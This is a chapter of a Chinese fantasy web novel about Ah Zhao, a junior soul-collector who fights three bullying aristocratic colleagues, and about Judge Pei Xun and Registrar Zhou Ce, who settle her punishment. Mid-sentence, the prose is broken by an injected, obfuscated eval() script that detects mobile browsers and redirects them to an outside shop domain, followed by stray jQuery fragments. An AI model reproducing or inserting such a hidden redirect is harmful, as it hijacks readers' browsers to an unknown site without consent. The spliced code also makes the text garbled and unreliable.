阿昭收拾完后准备回南星院休息时,发现同屋的也是早上嘲笑她的那三位师姐今晚都在房中,正有说有笑的说着什么。
可能是因为今日裴判官回了拘魂司,所以往常这会儿早不见人影的几位今儿个还在。
几人在阿昭进屋后便停止了说笑。
“师姐们好。”阿昭早已习惯几人对自己的冷嘲热讽和漠视,但出于礼貌,进屋后阿昭还是向她们问了好。
坐在桌前身着粉色衣裙的微胖女子不屑道:“可别在那儿乱叫啊,谁是你师姐啊。”
本就只是出于礼貌的问好,阿昭深知她们几个的德行,并不奢望她们能友好的回应,但还是会被这般无礼对待而感到气恼。
在拘魂司确实没有拜师的说法,大家都是一起共事的同僚。
但拘魂司的传统是入司早的会带比自己晚入司的同僚,且裴判官和周主簿也会时不时的教大家一些拘魂的本领,所以虽然不兴拜师但总的来说也有带教之恩,所以后进司的通常会尊称带自己的同僚为师兄或师姐,表示尊敬的同时也可以增进彼此的情谊。毕竟在往后的拘魂中相互之间的配合是很重要的。
传统虽然一直都是这样,但难免也会有人自视过高,瞧不起别人而不认真带教或是根本不教的情况,任由别人考核不过而被踢出拘魂司。
而最后这种极少见的情况却叫阿昭给遇上了。
“是呀,都快被踢出拘魂司了,还在这叫谁师姐呢。”站在胖女孩旁边的瘦高个附和道。
阿昭并不打算理她们,径直走向了自己靠窗边的床铺,却发现原本应该好好放在床上的布袋此刻被人扔在了地上,而布袋里的东西七零八落的散落在床上和地上。
“谁弄的?”
原本就憋了一肚子火的阿昭也不打算和几位装了,抓起布袋冲到三人面前质问她们。
胖瘦女孩眼神闪烁的看了看身旁坐着一直未说话的娇艳女子,显然这女子是三人的头儿。
“你冲谁嚷嚷呢,谁稀罕翻你那个乞丐包!”胖女孩见老大没出声还一派怡然自得的喝着茶,眼皮都不见抬一下,便像是从中获得了气势,立刻变得有底气起来。“全是些破玩烂意儿我还嫌脏手呢。”
阿昭见状心中冷哼,呵呵,以为死口不认便行了是吧?
“好好好,你说你没翻就没翻,大不了我就当是那敢做不敢当的怂包手贱翻了我的乞丐包喽。”阿昭一脸无所谓的说道。
“你骂谁是怂包呢?”小胖子一听一个不乐意,脱口而出。
旁边两个队友没来得及阻止小胖子,都是一副欲言又止的表情。
“谁翻的我说谁。”阿昭见小胖子这么激动,“惊讶的”捂嘴道:“你这么激动干嘛,难道.....你是怂包?”
见小胖子这般不禁逗,阿昭更来兴趣了。
“你....你你..你。”本就做贼心虚的小胖子被阿昭怼的哑口无言,气的满面通红。“看我不撕烂了你的嘴。”小胖子说不过便打算动手。
张牙舞爪的小胖子朝阿昭扑了过去,可阿昭却敏捷的一个闪身外加一个伸腿,不仅躲过了小胖子还让她摔了个狗吃屎。
到了此刻另外两人也坐不住了,长相艳丽的女子朝瘦高个使了个眼神,会意的瘦高个便立刻出了屋子。
被摔的不轻的小胖子站起身来,本来还有点忌惮阿昭,可瞧见站在她身后的老大悄悄的对阿昭施了定身术,还示意她继续。便又得意洋洋准备的上前给阿昭点厉害颜色瞧瞧。
眼见着小胖子铆足了劲一巴掌向自己扇过来,正准备躲闪的阿昭却发现自己动不了了。
阿昭心里直道晦气,遇上这么几个卑鄙的家伙,居然来阴的。
-------------------
“啪——”
一记响亮的巴掌声响彻了南星院,把刚赶到门口的瘦高个等一众人都吓了一跳。
而屋内一片的景象更是让人惊掉了下巴。
只见屋内一片狼藉,桌子被掀翻在地,茶壶杯盏被摔得稀碎。
而最为彪悍的还得是地上两个扭打在一起披头散发的人。准确来说是阿昭坐在小胖子的肚子上,两人互相拉扯着对方的头发正较着劲。
两人身上都有伤,不过还是小胖子要看着严重些,因为阿昭脸上除了发髻被扯散了,右眼被打乌了,也没其他看得见的外伤了。
但小胖子就不一样了,两眼被揍的乌黑,原本就肥嘟嘟的脸现在肿的像是发了面的馒头,又大又红,巴掌印清晰可见,鼻子还哗啦啦流着血。
被拉开的两人,一个哭的天崩地裂,一个顶着大大的黑眼圈一声不吭。
“你们...你们这简直是胡闹!”一向见过世面的周主簿也从没见过这么大阵仗的女子打架。
“周主簿你可要为我们做主,阿昭师妹嫌我等三人说话太吵不愿与我们共处一室,便非要赶我们走,青黛师妹气不过便与她争论了几句,没想到阿昭师妹便动手打了青黛师妹,我本想上前劝几句却也被推到在地...”
刚刚一直未出声的女人此刻倒是一口气胡说八道了许多,还很是自然的伸出被蹭破了一点皮的手掌给大家看。
“银月师姐这么说倒显得我这个入司不久连考核都未通过的杂役本事大的很呢,居然敢不自量力的以一敌三,是我太强还是师姐们太弱了呀?”阿昭丝毫不畏惧的出声反驳,“哦,不对,我不该唤你师姐,因为刚刚青黛说了我马上就要被踢出拘魂司了,没资格叫你们师姐。”
“................”
青黛三人皆是一脸惊讶的看着阿昭,从前她们怎么就没发现她如此的伶牙俐齿呢。
“都先给我各自关起来!”年轻俊俏的周主簿没有立即的下判断辨是非,只是吩咐先将阿昭和青黛各自关起来。
“司中还从未出现过自己人互殴的事,今日正好判官大人也在,等我将此事禀报给大人,查清之后再论如何处置。”说罢便转身离去。
阿昭趁人不注意故意朝着青黛做了个手抚着脸疼痛不已的鬼脸,新仇旧恨气的青黛直跳脚。
刚刚青黛的那巴掌并没有落在阿昭脸上,因为关键时刻阿昭在心中默念入梦定身的术法咒语,没想到成功了,青黛被她给定住了,而阿昭身上的定身术过了半刻便自动解了,于是阿昭得以变被动为主动,打的青黛哭爹喊娘的。
而瘦高个他们听的那一记响亮的巴掌声便是阿昭还给青黛的。
-----------------------------------------
月色朦胧,不似南星院的吵闹,藏书阁此刻一片寂静,偶闻几声虫鸣。
今夜书阁的主人归来了,阁中灯火便也就如同往日般通明。
屋中宽大的书案上一边是几堆小山般高的案牍,而另一边则趴着一只通体除了四足雪白其余纯黑的黑猫--踏雪。
而书案前此刻正专注批阅卷宗的男子,一身黑色锦袍,面若冠玉,是见之难忘的绝色容颜,却偏偏生的一双子夜寒星般的黑眸,高挺的鼻梁,裁若柳叶的两片薄唇紧抿,浑身上下散发着清冷疏离,外加自带魄人的官威,让人看了望而生畏,不敢靠近。
此人正是人送外号“玉面阎罗”的裴判官--裴珣。
踏雪从阿昭那吃饱喝足后回到藏书阁便在众多书架上一阵翻找,弄的满地狼藉。在找到想要的书册后更是直接叼着书册跳上了书案,还将书册当垫子团在上面打起盹来。
将这一切看在眼里的裴珣并未出声阻止,反倒是伸手戳了戳踏雪肥嘟嘟的身子:“你最近这伙食是不是太好了,竟胖了这么多。”
回应他的是踏雪翻过身来朝他露出肉乎乎的肚子,发出呼噜呼噜的声音。
当从南星院过来的周策进屋后看到的景象是,一向高冷且脸上时刻挂着生人勿进的裴大人此刻正一手撸猫一手执笔低头在写着什么,自己进来的时候他头都不曾抬一下。
“怎么了,是有什么急事吗?”裴珣写完最后一个字后搁笔,起身,抱猫,一连串动作流且畅熟练。
“嗯?哦,对对对,是有点事,但说大也不大。”接着周策便将南星院刚刚发生的事和裴珣说了一遍。
“互
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13655280|144000||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
殴?”裴珣挑了挑眉,“你不是说中书令的二千金青黛被打成了猪头,而另一个叫阿昭的只是被揍乌了眼睛吗,怎么听着像是单殴呢?”
“喵呜—”原本眯眼享受抚摸的踏雪听到熟悉的名字后立马睁开了眼。
“呃....我觉得吧也不能单靠两人的伤势来定夺是互殴还是单殴,你也见过那个青黛的,她的脸原本就挺大的....可能是被揍了之后显得更大了吧。”
“那依你之见,你觉得应当如何处置呢?”裴珣轻抚着踏雪的头,似在安抚着刚刚它不安的情绪。
“依我之见,便各自关禁闭十日,且她两的考核目标数量在原来的基础上再加二十孤魂。”
“嗯,就照这么办吧。”
裴珣和周策都是知道这些世家贵女的脾性和底细的,平日里十指不沾阳春水的贵女们之所以愿意来拘魂司当这又苦又累的拘魂使不过是其父兄为了表示支持陛下新政而做的表面功夫罢了。在这儿也不会呆多久,根本就不会认真拘魂,不帮倒忙便是最大的帮忙了。
可这群贵女们却偏偏还想在这儿称王称霸,就知道欺负拘魂司里那些老实本分的人,裴珣早就不耐了的,若不是为了配合某人,他早就想将这些贵女扫地出门了。这回阿昭也算是替他们敲打了这群贵女,只愿他们之后会有所顾忌。
“那个叫阿昭的是什么来头可知?”
“这姑娘呀还真没什么来头,是狐狸年前来的时候在路边顺道捡的,当时饿的奄奄一息,好像是个孤儿吧,说是没有家人了。”周策边说着,脑中又浮现刚刚在南星院的一幕幕,笑道:“人看着柔柔弱弱的实则呀不仅伶牙俐齿,而且战斗力还不容小觑。”
“哦,是吗。听着倒是个有趣的。”
“咦,这不是你写的那本修炼内功的《心经》吗,在那儿找到的,你不是说找不到了吗。”周策看见了桌上刚刚被踏雪找出来的书册时,眼冒精光,伸手便想要去拿。
可谁知裴珣怀中的踏雪却忽然对周策做出戒备的姿态,还发出嘶嘶的警告声,仿佛是在警告周策不许动书册。
“这是刚刚踏雪找出来的,你最好别打它的注意了,踏雪已经在警告你了。”
“它一个小猫咪拿这个有什么用,正好借我去看看,好突破突破我的修炼瓶颈期。”周策不以为意的伸手就想要去拿。
可下一秒,便被一道快若闪电的黑影给咬了一口。
“啊——疼疼疼。”
裴珣一脸无奈道:“我都提醒过你了,非不听,被咬了吧。”
“不是,它一猫咪拿这干嘛?是终于想通了想修炼成人形吗?”虽然被咬了,但那心经可是有市无价的修炼宝典诶,周策还是不甘心的紧盯着心经。
踏雪见状叼起心经便三两下跳到窗台上,然后头也不回的走了。
“诶诶诶,小祖宗你这是要叼哪去啊!”周策捉急的回头问此刻还有心情悠闲喝茶的裴珣:“你真不打算管管?”
“管什么?”
“心经啊——”周策只觉得自己心在滴血。
“这个真管不了,本就是它找出来的,只能随它去了。”说罢,又埋头在小山般高的案牍中去了。
“你你你,啊,疯了疯了。”周策见状气的准备拂袖离开。
“明日我要去鬼王城,三日后的宫宴你代我去吧。”
“你是说乐阳长公主的赏花宴?”周策抽搐着嘴角,不可置信的回头看向裴珣。
“嗯,不白去的,下月月银给你加黄金五十两。”
“不去!”周策果断拒绝,黄金又如何,乐阳公主要是见到去的是自己不是裴珣,一定会恨不得吃了自己的,他才不去做这挡箭牌。
“一百两。”
“............”
"两百两。"
周策脚步明显放慢了下来。
“黄金二百五十两,周策,你知道的,我只有这么多了....”
"成交!不过等不到下月,明日我便要。"
“好~”
(周策:等等,这数字怎么听起来不太顺耳呢?)